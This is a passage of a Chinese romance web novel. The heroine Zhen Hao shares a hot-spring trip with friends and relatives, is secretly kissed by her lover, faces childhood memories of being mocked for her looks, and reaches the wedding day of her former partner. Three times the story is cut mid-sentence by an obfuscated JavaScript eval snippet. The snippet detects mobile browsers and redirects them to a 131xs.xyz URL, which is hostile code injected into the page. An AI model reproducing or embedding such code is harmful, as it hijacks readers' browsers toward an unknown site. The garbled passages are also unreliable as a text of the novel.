南溪镇依山傍水，气候宜人。不同于闽镇的贫瘠闭锁，此地物产丰富，人文环境开化，属实是个度假的好地方。 彼时距离春节只有一周的时间，南溪镇靠海，温暖舒适，丝毫没有冬日的寒冷之意。 “出来放松哪里有那么多理由？”周淳芮已经兴致勃勃地准备换泳衣，一边快速脱衣服一边冲鄢云书道，“对吧，云云？” 南溪镇是远近闻名的温泉胜地，在这冬意初临之际，畅快淋漓地泡上一场温汤，别说多惬意了。 “嗯，就当辛苦工作一年，奖励自己的温泉之旅。”鄢云书脱衣服的动作慢条斯理的，像文电影里的慢动作，优雅又唯美。 顺滑如牛奶般的丝质衣服自她白皙圆润的肩头滑落，露出挺拔的胸型和紧实的小腹，腰以下是两条又细又直的长腿，足尖轻点，美人如画。 周淳芮看直了眼睛，等鄢云书换上宝蓝色的露背泳衣才讷讷道：“云云，大家都是打工人，为何你的身材如此优秀？看看这胸是胸，腰是腰，腿是腿的，竟然还有若隐若现的马甲线！” 不同于周淳芮的目不转睛，甄好就没好意思直勾勾地盯着鄢云书的身体看，而且目光有些飘忽。 她从小就不喜欢和人有肢体接触，无论男女，像这种坦诚相见的时候更是少之又少，甚至可以说不曾有过，哪怕是与她熟识近二十年的周淳芮和鄢云书，亦是如此。 “医生自己首先要拥有一个好身体，才能给病人一个好身体。”面对周淳芮的夸大其词，鄢云书面不改色，回答得甚至有些官方。 周淳芮听了却忍不住鼓掌：“妙啊！我们鄢大医生开口就是金句啊！等我回去了一定把这句话裱出来送给你当新年礼物。” 鄢云书轻笑一声：“别闹。” “哎，云云，不开玩笑，明年你锻炼身体的时候叫上我呗。”周淳芮的身材虽不至于肥胖，但的确是属于丰满型的。 鄢云书淡淡地瞥了她一眼，轻声吐出一句话：“我每天五点半起床晨跑。” “啊，那个……”周淳芮瞬间老实了，“好好，我们先去……” 她转头和甄好说话，话没说完微微愣住。 “好好，你怎么不换衣服？”看到甄好身上还裹得严严实实，周淳芮疑惑道。 甄好：“……” 其实她就是打算穿身上这套有点保守的泳衣泡温泉。 她忍不住低头看了看自己，上身背心下身裙裤的连衣泳衣……很奇怪吗？ 周淳芮的问题让甄好略微窘迫。 这套泳衣已经是她能接受的最大露肤度了。 不等甄好解释，周淳芮已经自顾自从自己的行李箱里拿出一套黑色的比基尼在半空晃了晃，语气激动：“好好，你穿这套肯定好看！我特意多带过来的，你快试试！” 甄好看着那套没几块布料的衣服，一脸欲言又止的表情：“这……” “别磨蹭了，快试试，想看！”周淳芮的语气和神情活脱脱一个女流氓。 等泡完温泉，三人裹着浴袍直接坐在休息区日光浴。 中午十一点的太阳晒在人身上暖洋洋的，这种偷得浮生半日闲的感觉当真美好。 只是甄好依旧有些不习惯。 休息区是公共区域，前来度假的人不少，男女老少都有。有孩童的欢笑声响彻宁静的空气，有恋人低声的呢喃温暖心窝，亦有老夫老妻拌嘴的烟火气……慢慢地，甄好的心也渐渐平静了下来，尽情享受这安宁的时刻。 她将拿来打发时间的书本置于脸上，遮挡住部分阳光。 跳跃的光影从脸上落到配色清新的书封上，温暖却一直停留在甄好心间。 迷迷糊糊间，她感觉有人轻扯自己的袖子。她拿下覆在脸上的书，陡然迸进眼睛的光让她下意识眯起眼睛，只能看见自己面前是一个半大的孩子。 “好好姐姐，猜猜我是谁？”陆星潮那张小小的俊脸还带着稚气，却已经能看出将来一定是迷死人的长相。 甄好缓缓地坐起身，眼睛适应光线后，才看清是谁在跟自己说话：“小星！你怎么在这里？” 陆星潮会出现在这里，那么…… 一想到会跟着陆星潮一起出现的那个人，甄好就迫不及待地四处看。 可惜什么都没看到。 “温柔妈妈去洗手间啦，我在这里等她。”陆星潮指了指洗手间的方向，露出可爱的小虎牙。 “只有你和妈妈吗？”听到甄温柔真的来了，甄好心里一阵雀跃。 “好巧啊，没想到温柔小姑也来了。”一旁的周淳芮听到动静，也起身加入对话。 “芮芮姐姐。”陆星潮乖巧地喊完人才继续回答甄好的问题：“我阿爸也来了。” “我们小星星又变帅了呢。”周淳芮走下躺椅，来到陆星潮面前，抬手摸了一下他的脑袋，“还长高了不少。” 周淳芮说话的时候，甄好不自在地整理了一下身上的浴袍，生怕露出了里面的那几片布料。 她的注意力都在甚至这身别扭的穿着上，也就没听到陆星潮还说了句什么。 不一会儿，甄温柔和一个身材高大的男人手挽手一起朝几人走来。 “温柔小姑！”不等甄温柔走近，甄好的眼睛先亮了起来。 “好好，没想到会这里见到你。”甄温柔快步走来，给了甄好一个结实的拥抱。 “姑父好。”面对甄温柔的丈夫陆洺森，甄好总是抱着尊敬的心。 “嗯。”陆洺森像以往的每一次一样，只是淡淡地冲她点点头。 简单的寒暄过后，甄好才得知甄温柔是一个人带着陆星潮从陕西自驾回闽市的。除了欣赏沿途风景和品尝各地美食，更是为了让正在读五年级的儿子完成老师布置的寒假作业，也就是写周记。 “温柔小姑，你好厉害啊！”周淳芮听了忍不住赞叹道。 彼时鄢云书也已经游完泳回来，听到甄温柔的壮举也不禁咋舌。 甄好虽然没说话，内心早已震惊到无以复加，同时也感慨这才是生孩子、养孩子的正确打开方式。 如果想要带一个新生命来到这个世上，首先要自己拥有足够的财力和耐力，以及满心的爱与宽容，才不会造成几代人的愁苦悲伤。 至于陆洺森为什么也会出现在这里，完全是因为他宠妻无度，要不是因为家里有急事提前飞回来了几天，他是断不可能答应甄温柔做这样危险的事的。 但话说回来，甄温柔想做的事根本不是他能阻止得了的。当然，他也从没想过阻止，除了支持还会给予最大的陪伴。 周淳芮听了表示：“温柔小姑，这狗粮吃得我牙疼。” 这话甄好十分赞同。 甄温柔三十岁那年遇到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15899326|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆洺森，两人以最快的速度坠入爱河、领证结婚，小星潮也在次年出生。时光飞逝，当年团子般大小的陆星潮，而今已经长成了瘦高的十一岁少年。 “先别急着牙疼，愉快的旅程才刚刚开始。”甄温柔这天穿一身桔梗紫色旗袍，整个人显得神秘又高贵。 她这话的意思是接下来还有的是狗粮吃。 周淳芮撇撇嘴，跑到甄好那里求安慰：“好好，你看看你的温柔小姑。” 甄好则觉得心里满满的，脸上一直保持着笑意。 “小潮男，中午想吃什么？”甄温柔将目光移到陆星潮身上。 她不像其他人叫他“小星星”或者“小星”，她爱叫他“小潮男”。 起初陆星潮还不满地抗议：“我不要这个小名，妈妈换一个。” 谁知一直不言不语的陆洺森冷不丁来了句：“陆星潮，爸爸是怎么教你的？” 陆洺森教他：“妈妈开心是最重要的，一切以妈妈的喜好为中心。” 想起父亲的教诲，陆星潮耷拉下脑袋，兴致缺缺：“妈妈，我突然觉得小潮男越听越好听。” 后来听着听着，他也真的习惯了，甄温柔一天不叫他反倒浑身不自在。 “小潮男？”甄温柔见儿子发呆，又喊了一声。 “温柔妈妈想吃什么就吃什么。”陆星潮说完邀功似的看着陆洺森。 陆洺森却根本没看他，而是满目柔情地看着甄温柔：“吃什么老婆大人说了算。” 陆星潮：“……” 他要快快长大，也找个老婆来疼。 看着这活宝似的一家三口，甄好的心情又好了几分。 最后一行人决定吃海鲜，选好加工店后，甄温柔又道：“等一下，还有人没到。” 甄好以为是陆家的其他人，也就没多问，打算先去换衣间换掉身上的衣服。 此时已经是午饭时分，阳光偏转，原本明亮的走廊略微暗了几分。 昏暗的光影中，甄好隐约看见一个高大的身影倚在窗边，目光不知盯着何处，手里的金属打火机有一下没一下地发出咔嗒声。 熟悉的背影和熟悉的习惯让她一下子就想到了某个人，但是怎么可能那么巧呢…… 她一步步踩着跳跃的光，缓缓朝更衣室的方位走去。 等离得近了，甄好还是忍不住多看了那道身影一眼。 真的是那个男人。 认出对方的同时，她脚下也因为踩到水迹而整个人朝前倾。 “啊——”突然失去重心让她本能地低呼出声。 她努力稳了稳身形才堪堪稳住。 她刚要松一口气，腰却被一只温暖的大手搂住。 甄好下意识捂住胸口，心有余悸地看着离自己只有咫尺之近的男人。 “你没事吧？”时序开口问，并未注意到她的动作。 “没……没事。”甄好惊魂未定，重新站好后又被男人紧紧搂在怀里。 时序将脸埋在她颈窝间，轻轻地蹭了蹭，又吸了吸，瓮声瓮气道：“好好，我好想你。” 才两天不见，他就想她想得快要发疯。 甄好先是抗拒地推了推男人的胸膛，没推动，便只能任由他抱着自己。 可是下一秒，周淳芮的声音远远传来：“好好，你怎么不等等我？” 甄好心中顿时警铃大作，慌乱间手忙脚乱地想要推开时序，然而老天爷跟她开了个天大的玩笑。 她腰间的浴袍带子不知何时与时序的风衣扣子纠缠在了一起，怎么都分不开。 就在她急得满头大汗之际，时序之间拔掉她发间的簪子，如瀑的黑发霎时倾泻。 周淳芮的身影刚拐过来，甄好的腰重新被男人掌控，唇也覆上一片温热。 两人的身体贴得极近，近到能够感受到彼此怦怦的心跳。 除了在床上，他们不曾靠得这样近过。 “闭上眼睛，乖。”时序低沉的嗓音绕在她耳畔。 热热的，暖暖的，就像他在她身体里的时候。 53. 别生气了我哄你 在黑暗里开出的花，更明媚也更扎手。 ——《甄好日记》 十分钟后，众人重新碰面，周淳芮分享了自己的所见所闻：“好好，我刚刚好像看见你了，不对，一定不是你。你是不可能在大庭广众之下跟男人亲嘴的……” 甄好：“……” 不好意思，她还真的会在大庭广众之下跟男人亲嘴。 都怪时序。 她不着痕迹地剜了一眼始作俑者。 “我说得没错吧？好好。但是那个人真的太像你了，我肯定是看错了……”她越说越怀疑自己，根本没注意到甄好已经悄悄红了的耳尖。 偏偏时序还在旁人看不到的角度偷偷拉甄好的手指，惹得她无声地瞪了回去，他这才老老实实地缩回手。 “走吧，已经有人在海鲜加工店等我们了。”甄温柔神秘地冲甄好眨眨眼。 甄好嘴唇微张。 还有其他人也来了吗？ “是谁啊？”周淳芮替她问出了心中的疑惑。 甄温柔并不打算揭露真相：“到了就知道了。” 她越这样说，周淳芮越好奇：“到底是谁啊……温柔小姑，你就告诉我嘛……” “年轻人有点耐心嘛……”甄温柔仍旧笑着，皮肤在阳光的照耀下，白得发亮。 “芮芮姐姐，要不要我来告诉你呀？”陆星潮及时解救了甄温柔。 “好呀好呀。”周淳芮的心思立刻放在了陆星潮身上，“小星星，你快告诉姐姐到底还有谁也一起来了。” “温柔妈妈说，年轻人要有点耐心。”陆星潮故意老气横秋道。 “你啊——”周淳芮轻轻地点了一下他的额头，“答应芮芮姐姐，长大后千万不要做个妈宝男好不好？” “不做妈宝男，不做妈宝男。”陆星潮笑嘻嘻地应道，“只做温柔妈妈的小潮男。” 周淳芮：“……” 一旁的甄温柔笑得眼角眉梢都舒展开来，陆洺森搂着她，嘴角也挂着笑意。 刚到海鲜加工店门口，看见在附近沙滩上玩沙子的两个小孩，甄好不用多想也知道甄温柔所指的神秘嘉宾是谁了。 不远处，粉雕玉琢的两个小娃娃正在争论着什么。 “迟叙哥哥，你是不是生气啦？”五岁的小姑娘生得唇红齿白，声音也脆生生的，好听得不得了。 “我没有。”陆迟叙绷着小脸不承认。 “可你看起来就是不高兴了……”姜姝允十分肯定自己的判断没有错，“这不是生气是什么？” “说了没有生气就是没有生气。”陆迟叙一想到方才的场景，心里就觉得不是滋味。 就在三分钟前，一个穿得粉里粉气的小男孩跑来拉着姜姝允的手，说要带她去沙滩上堆城堡。 陆迟叙冷眼瞥着那两只交握在一起的手，语气比冬日的晨雾还要冷几分：“幼稚。” 那小男孩看到他的冷脸先是一愣，而后他父母的声音传来，“堆城堡”的计划就此泡汤。 某位陆姓小朋友则忍了又忍，才堪堪将快要压不住的嘴角拉平。 这便有了眼下两位小朋友关于“生气与不生气”的争论。 “陆迟叙，你是不是不想让我和别的小男孩牵手呀？”姜姝允笑容明媚，凑到陆迟叙面前大大方方地询问。 被她这么一问，陆迟叙玉一般的脸霎时红了起来。 “你想跟谁牵手关我什么事？”陆迟叙头一撇，嘴硬道。 方才还笑嘻嘻的姜姝允听到这话，将头撇向一边，不说话也不笑了。 突然的安静让陆迟叙心里没来由发慌。 他见过漂亮妈妈露出过这种表情，然后父亲便会…… 想到陆云祁的举措，陆迟叙有样学样。他先是慢慢地靠近姜姝允，然后伸出手轻轻地拉扯她的手腕，有些笨拙地晃了晃女孩的手臂。 然而姜姝允根本没有要搭理他的意思，反倒将头撇得更明显了。 “哼。”女孩甚至不满地轻哼了一声。 陆迟叙一颗心坠了坠，不确定地开口：“喂，你是不是生气了？” 姜姝允仍旧撇着头不看他。 “姜姝允，我问你是不是生气了？”陆迟叙一着急，完全不记得自己原本要做什么，语气也有些重了起来，“你别不说话。” 这下姜姝允更不高兴了，直接甩开他的手，又回头瞪了一眼他，便气呼呼地跑开了。 别人都亲切地叫她“小允”“允儿”“允允”，再不济也是叫她“姝允”，他倒好，在明知她已经生气的情况下，还敢连名带姓地叫她！ 姜姝允决定一个月都不要理陆迟叙这个讨人厌的家伙！ 看着姜姝允渐渐跑远的背影，陆迟叙一张笑脸绷得紧紧的。他感觉自己心里有一团说不清的火焰在燃烧，而罪魁祸首正是那个头也不回的女孩。 “叙宝？”苏星禾原本坐在沙滩上的躺椅上享受日光浴，见两个小的好像遇到了什么问题，忙过来查看情况。 姜也很快也紧跟其后，见女儿跑出去大老远，嘴里念着：“这个姜姝允，都说了不要乱跑，不知道又闹什么大小姐脾气，等下走丢了怎么办？！星宝，我去看看她怎么回事。” 苏星禾拉住她：“话别说太重了。” 姜也脾气急，姜姝允随她，性子倔，母女俩虽然感情不错，却也时常互相嫌弃。苏星禾担心她们又闹别扭，忙交代了这么一句。 “知道了。”姜也拍拍她的手，深呼吸一口气才朝淹没在沙滩人群中的姜姝允跑去。 “小迟叙？”看儿子一直没说话，一副心事重重的模样，苏星禾到底还是有些担心。 “漂亮妈妈，我想问你一个问题。”陆迟叙直视蹲在自己身前的苏星禾，小脸严肃，“你们女孩子生气都是什么样子的呀？” 苏星禾：“……” 她这个儿子总是有本事问倒她。 思索片刻，她才说了一个比较笼统的答案：“大概就是不跟你说话，也不笑了？甚至连看都不想看你……” 陆迟叙打断她：“我知道了。” 苏星禾：“……” 他都知道什么了？ 不过才五岁大的陆迟叙越来越像陆云祁，尤其是那严肃的表情和认真的语气，活脱脱一个小大人。 对于自己生了一个缩小版的陆云祁这件事，苏星禾的心情很微妙。 感觉既神奇又……她也说不上来该如何去形容那种感觉。 大概就是一种生命的连接，让她从此有了软肋，也有了铠甲，亦有了数不清的幸福碎片。 不等苏星禾感慨完，问题宝宝陆迟叙又继续发问：“漂亮妈妈要是生气了，爸爸都是怎么哄你的啊？” 苏星禾：“……” 她方才还是下结论太早了，她这宝贝儿子的问题就没有一个是好应付的。 这个问题更加让她不知如何回答。 她总不能说陆云祁每次都是说点软话哄她，然后十分心机地一点点靠近她，亲吻和抚摸是什么时候开始的她不知道，她只知道这个男人总是用美色俘获她不说，还要抱着她到床上吃干抹净，吃完了还要问她累不累，还要不要来一次…… 这些要她怎么对陆迟叙小朋友说？！ 一番绞尽脑汁之后，苏星禾硬着头皮开始编：“哄哄她？给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15926036|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她买好吃的？或者漂亮的小玩意儿？” 这是她所能想到的能够让一个五岁孩子理解的答案。 “我知道了。”陆迟叙说这话的时候并没有看着苏星禾，而是望着不远处的姜姝允母女，“谢谢漂亮妈妈。” 甄好在看到两个小朋友的时候，被另一件事情耽误了一下，等处理完发现苏星禾已经出现在视野中。 她眼中有着惊喜，立即大步向前，朝苏星禾母子二人走去。 “星禾姐姐，好久不见。”甄好笑容明媚，落落大方地和对方打招呼。 她是真的很久没有见苏星禾了，陡然在这个小镇上碰见，心里像是冒着气泡的果汁，满得就快要溢出来了。 “好好？”看到甄好，苏星禾也一脸惊讶。 一行人很快浩浩荡荡地走进海鲜加工店。 “陆教授好。”甄好和时序同时开口向陆云祁问好。 甄好下意识看向时序，与他对上视线后又快速地移开。 那种没来由的心虚感在这异口同声中更加膨胀起来，塞得甄好一颗心摇摇欲坠。 “嗯。”陆云祁冲他们点点头，“你们好。” 苏星禾：“……” 她家陆教授真是一年比一年老干部，话也越来越少，能不多说的绝不会多说一个字。 周淳芮忍不住打趣：“好好，你和时老弟什么时候这么有默契了？” 时序瞥她一眼，不赞同道：“我和好好什么时候没有默契了？” 周淳芮一时哽住，半天说不出话来。 好在陆云祁提前点好的海鲜已经陆陆续续端上桌，众人的目光齐齐转移到一道道鲜美的佳肴之上。 一上午的时间过去了，大家的肚子属实都饿了。 “我和陆教授担心大家饿了，提前点了一些，不够还可以再加。”苏星禾微笑着说道。 海鲜大餐在大家你一言我一语中渐渐拉开帷幕，其中就属姜也最兴奋。 只有两个小孩子之间的氛围有点奇怪，姜姝允不小心与陆迟叙的目光对上就会毫不犹豫地撇开头，仿佛他是什么洪水猛兽。 吃饱喝足后，一行人来到海滩上，准备穿过这片沙滩再绕回民宿，一来消食，二来体会当地风俗民情。 天公十分作美，原本高悬的太阳此时被一片乌云遮住，海风吹来，送来凉爽，走起路来倒也惬意。 经过一个小摊时，陆迟叙看着走在前面不远的姜姝允，倏地顿住脚步。 他拿出自己的零花钱，走到摊前，指着一串五颜六色的贝壳手链，对老板说道：“我要这个。” 苏星禾觉得这一幕非常稀罕，忍不住咋舌：“小叙宝买手链是打算送给哪个女孩子吗？” “我就不能是自己喜欢吗？漂亮妈妈。”陆迟叙根本没发现自己的耳朵早就悄悄红了。 因为口是心非，也因为心思被苏星禾说中了。 小朋友的谎言就像老师站在讲台上看学生一样，一目了然。陆迟叙的心思当然瞒不过大人，不过苏星禾也没打算戳穿他，只是笑着说：“可以可以，我们叙宝当然可以喜欢这串粉粉嫩嫩又像彩虹一样的手链啦。” 陆迟叙：“……” 他觉得漂亮妈妈在内涵自己，可是他没有证据。 在大人们闲聊打趣的时候，陆迟叙不知何时来到了姜姝允身边。 其实姜姝允早就不生他气了，但就是想逗逗他，于是故意板起脸，问他：“你来干什么？” 陆迟叙紧紧捏着掌心里的贝壳手链，半晌过后终于把心一横，将东西递到女孩面前，语调生硬道：“哄你。别生气了。” 姜姝允：“……” 54. 打碎过去的自己 我仿佛看到了那个自卑怯懦的小女孩就站在我面前，她微笑着对我说：“好好，你很好，真的很好。” 十五岁的甄好，就那样温柔地看着我。 我不禁热泪盈眶。 ——《甄好日记》 回到民宿后，周淳芮直接当着两人的面褪下身上的衣物，进了浴室，声音从门后飘来：“我先洗个澡，再睡个午觉，美滋滋。” 鄢云书则坐在藤椅上，捧着一本医学专业书在看。 午后的阳光透过落地窗洒进来，她的脸一半在光里，一半在阴影里，好看得有些不真实。 其实鄢云书是真心喜欢医学的吧，只是她自己不知道而已，她被困在名为“鄢识”的牢笼里太久太久了，久到忘记该怎么飞，该怎么做真正的自己。 甄好忍不住在心里这样想。 这么想着，她有些心疼鄢云书，却也爱莫能助。 人的心魔，多半只能靠自己去战胜，旁人说再多都无益。 她安静地在鄢云书身边的沙发上躺下，手机随即振动一声。 她拿起来一看，是时序发来的两条微信消息。 时序：“你有东西落我这儿了。” 时序：“接吻的时候掉进我口袋里了。” 紧接着他又发来一张照片，上面是她这天佩戴的铃兰花耳坠。 看着时序那样直白的话语，甄好的心跳乱了节拍。 她下意识摸了摸耳垂，这才发觉耳坠真的掉了一只。 原来掉在他那儿了。 被时序强吻的那一幕也随之跃进她脑海中，心里同时也叫嚣着可怕的欲望——她想念时序的身体了。 周淳芮只是简单地冲了下凉，所以没几分钟就裹着浴袍出来了。她一抬眼就看到甄好目光有些发直地摸着自己的耳垂，不知在想什么。 注意到她只有一边耳朵上坠着耳饰，她不禁诧异道：“好好，你另一只耳环怎么掉了？” 甄好和鄢云书两人都被突然出声的周淳芮吸引了注意力，纷纷抬头看她，不过鄢云书很快又将视线移到书页上。 本来甄好就因为想到少儿不宜的画面而觉得难为情，突然被周淳芮这么一问，脸瞬间爆红。 “可能掉在沙滩上了吧。”甄好随口胡诌道。 她当然不可能说耳环是跟时序激吻的时候掉到了他的风衣口袋里。 这叫她怎么说得出口？ 周淳芮狐疑道：“我只是问你耳环哪里去了，你脸干吗这么红？” “啊？有吗……”甄好心虚地摸了摸自己的脸颊，再次胡诌，“可能是被太阳晒的。” 此时她整个人一半沐浴在阳光下，一半藏在阴影里，脸被晒烫了发红很正常。 思及此，甄好登时自信了几分，那种难为情的感觉随之消散不少。 “现在再看好像又没那么红了。”周淳芮更加怀疑自己，“我可能洗澡洗晕了，看花了眼……” “算了，不重要，姐妹改天给你买新的。”周淳芮解开浴袍，整个人钻进柔软的被子当中，“我要先睡一觉，困死了。好好、云云，午安。” “午安。”甄好回道。 而鄢云书只是抬眸看了被子里的人一眼，没说话。 下午四点钟左右，三人养精蓄锐之后重新来到海滩上。 只不过是另一面的海滩。 阳光不知何时已经露了头，夕阳余晖照在柔软的沙子上，踩上去暖暖的。 海面像撒了金粉般，璀璨夺目。 甄温柔一家人和苏星禾一家人包括时序都没有参与女孩们的活动，因为…… 出门前，周淳芮特地为甄好化了一个妆，还精心搭配了一身适合拍照的衣服。 “好好，我们一起来拍小视频好吗？”她将甄好和鄢云书两人左拥右抱，兴致勃勃道，“我们好像还没有一起拍过全身视频，好想拍，好想拥有……” 鄢云书没有意见：“我没问题。” 说完，她侧头看了一眼甄好。 甄好果真如她们所料，脸上满是难为情，一副欲言又止的模样。 “哎呀，好好，就当是我的新年愿望，好不好？”周淳芮抓着甄好的胳膊摇啊摇，语气撒娇意味十足，“还有你不是一直想为自己的南音账号拍点素材吗？我们好好最好了，就当陪陪我，好不好嘛……” 其实为甄好拍摄短视频素材才是两人此行真正的目的。 一来，她们也很想支持小姐妹的事业；二来，非物质文化遗产需要更多的人守护和传承，能够为非遗文化贡献一点力量，两人与有荣焉。 最重要的一点是，她们想看看能不能帮助甄好冲破心魔，哪怕只是一分一毫也好。 一个自媒体人，始终是要面对镜头的，她们不希望甄好往后的事业之路因为不敢直面镜头而停滞不前。 “可是……”甄好承认自己很心动，却仍旧犹犹豫豫地说道，“我长得很不上镜……” 她账号里的视频多半是一些侧脸或者远景全身，甚至是背影。 不直视镜头会让她更有安全感，也更有自信心。 “谁说的？”周淳芮扳过甄好的肩膀，语气坚定而真诚地告诉她，“我们好好长得这么漂亮，怎么会不上镜呢？” 谁说的？ 说起这个问题，甄好的眼眸瞬间暗淡下去。 在她上高二的那年，班里的几个女生拉上她一起去拍写真照。她犹豫再三，最后还是禁不住诱惑，拿出了自己辛辛苦苦攒下的零花钱，踏上去市区的公交车，完成了人生中的第一次写真。 拍照的时候其他女生都自信又大方，摆姿势的动作和谐又自然，只有她浑身僵硬，笑容像是硬挤出来的，不知道的还以为她是被绑架来的。 但好在摄影师技术过硬，而且善于互动，甄好最后还是能够选到几张自己满意的，并洗出来制成相册。 那是她的少女时代里难得的几次美好回忆，可这美好的回忆被一个人生生破坏了。 她们拍写真的时间是在周六上午，历时一个上午，甄好甚至连午饭都没舍得在外面花钱吃就直接回了家。 她一路上心情都很好，直到走进家门看到了一个人。 “大姑来了。”哪怕心里不情不愿，甄好还是礼貌地向甄温婉问了好。 拍写真需要化妆，在离开影楼前她就已经卸好了妆，但在分别之际，一个女同学拉住了她：“好好，给你试试我新买的口红。” 对方手里拿着的是一支很淡的粉色口红，看起来清新又少女，所以甄好没拒绝。 她的唇色偏浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938827|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，随便涂点口红就显得比一般人红润有气色，整张脸都变得生动起来。 而这份生动止于甄温婉开口的第一句话：“阿砰回来了啊。” 听到这个小名的一刹那，甄好的心情顿时晴转多云，那种熟悉的愤怒感几乎就要压不住。 从她第一次反驳家人叫自己这个带有轻微侮辱性的“贱名”时，已经慢慢地没人再这样叫她了，唯独这个大姑，一说就是叫习惯了，改不过来了。 甄好时常劝说自己不过只是一个小名罢了，不要因此而动怒，可每每遇到了，她又总是忍不住，回回气得脸颊通红。 “大姑，不要叫我小名。”像以前的每一次一样，甄好义正词严地纠正甄温婉。 甄温婉却恍若未闻，上下打量了她两眼，继续说：“阿砰，你是不是化妆了？你的嘴唇怎么跟妹妹一样红润了！平时都没什么血色啊……不像你妹妹，那小嘴好看得跟那红得诱人的樱桃似的。” 又来了。 这种毫无边界感的对比又来了。 甄好握紧双拳，深呼吸了一口气，才没有控制不住骂人，她选择不说话，直接转身回到房间里。 然而毫无边界感的甄温婉根本没打算就这么放过她，跟在她身后一起进了屋里。 看着甄好将纸袋子里的相框一一摆在桌上时，她震惊地瞪大双眼：“阿砰，这是你吗？这不是你吧……” 甄好忍住翻长辈白眼的冲动，从嗓子眼里挤出两个字：“是我。” 简简单单的两个字却直接让甄温婉的声音高了几个分贝：“不是吧？这真的是你吗……不像啊。” 她一边说一边盯着甄好端详：“你的鼻子没有这么高啊，眼睛也没那么大，还有这皮肤，哪有那么白？特别是这嘴巴……” “够了！”甄好终于再也忍不住打断她，“说够了没？” 她知道照片上的自己不仅经过精心地化妆，还经过细致的后期，但是那又怎么样？那就是她，就是原原本本的她。为什么大姑要这么贬低她？她真的有那么不堪那么丑吗？ 本来看着照片上那个像自己却又漂亮那么多的自己，甄好的心情美得直冒泡，可甄温婉几句话就将飘在云朵上的她拉下了地狱。 看着甄好泛红的眼睛，甄温婉丝毫不觉得自己错了：“说你两句就红眼睛，真没意思，还是小妹好玩。” 说着，她便施施然离开了。 是了，甄美从小懂事漂亮、小嘴像抹了蜜一样甜，很得大人的喜欢。 甄好感觉喉咙一次又一次满溢，好似被一团湿棉花堵住，想哭又紧紧咬着嘴唇，不让自己哭出声来，只有眼泪控制不住地滑落眼角。 像这种情况，在她的整个成长期里发生过无数次，她从一开始的大吼大叫，到后面的沉默以对，再到如今的默默垂泪，始终没有勇气去打碎名为“自卑”的巨石。 哪怕她现在已经二十八岁了，依旧有着严重的“容貌焦虑”，依旧不敢直面镜头里最真实的自己。 傍晚的海风拂过耳畔，温柔的余晖铺洒而下，海天一线间旖旎的云彩绚烂夺目，好友笑靥如花，眼前的一切都是那样美好。 甄好不知从何处生来的勇气，重重地点头：“好，拍，猛猛拍。记得把我拍好看点，我可是要成为超级大博主的！” 55. 自以为是的结束 我以为我们的故事已经结束了。 我宁愿我们的故事已经结束了。 ——《甄好日记》 距离春节还有三天的那个早晨，甄好一起床就收到了一条短信。 在如今的社会，会给她发短信的除了银行和快递等必要信息，只有各种广告。 而现在静静躺在她手机里的，是来自一串熟悉不已却再无备注名的数字。 “我再也没有合适的身份可以关心你了，珍重，我的女孩。” 起初，甄好看到是谁给自己发短信时，心跳在一瞬间加快，握着手机的手也不自觉地发抖。 不是因为她还没放下这个人，只是话说回来，要放下一个相识相知八年的人，并不是一朝一夕就能够做到的，况且事发距今也不过几个月的时间。 从发生那件事开始，甄好的手机只要有动静，她都会出现心慌手抖的情况，后来随着时间的推移有所好转。她没想到时至今日，历史会重演。 然而当她看到最后一句时，所有的感觉散去，只剩“恶心”两个字。 我的女孩。 “我的女孩”是这么用的吗？ 她的手指悬在键盘之上，久久都没有动作。半晌，她缓慢地打出一行字：“别侮辱‘我的女孩’这四个字。” 刚打完不过一秒钟，她就毫不犹豫地一个字一个字删掉，继而锁屏手机，选择不回复。 腊月二十八，秦深的大喜之日，甄好真正的重生之日。 也是时至今日，她才发现原来在此之前的每一天不过是她在努力自洽的过程，悬着的心其实从未真正落下，直到直面秦深要结婚的事实，她才恍若感到过去的自己真真正正地死掉了，死在了一个艳阳高照的冬日。 秦深没有再发来信息，甄好也在采购年货的喜气当中慢慢地度过了这一天。 喧嚣的白日过去，寂寥的夜悄然降临。 甄好一个人坐在卧室的床上，耳边偶尔有炮竹声响起，她却觉得满心荒芜。 如今的甄家虽不是什么大富大贵的家庭，却也盖起了闽镇常见的普通小洋楼，甄好小时候的梦想得以实现——拥有属于自己的房间。 恰逢手机响起信息提示音，她下意识地以为是秦深发来的。 这种下意识很不应该，可是她控制不住。 她拿起来一看，不是秦深，是甄美的消息。 “呼——”她莫名松了一口气。 “阿姐，我们出去放烟花吗？”甄美发来消息询问她。 甄好看着陈设简单、风格简约的卧室，突然对外面的热闹失去了所有兴趣。 “不了，你们去玩吧。”甄好这样回。 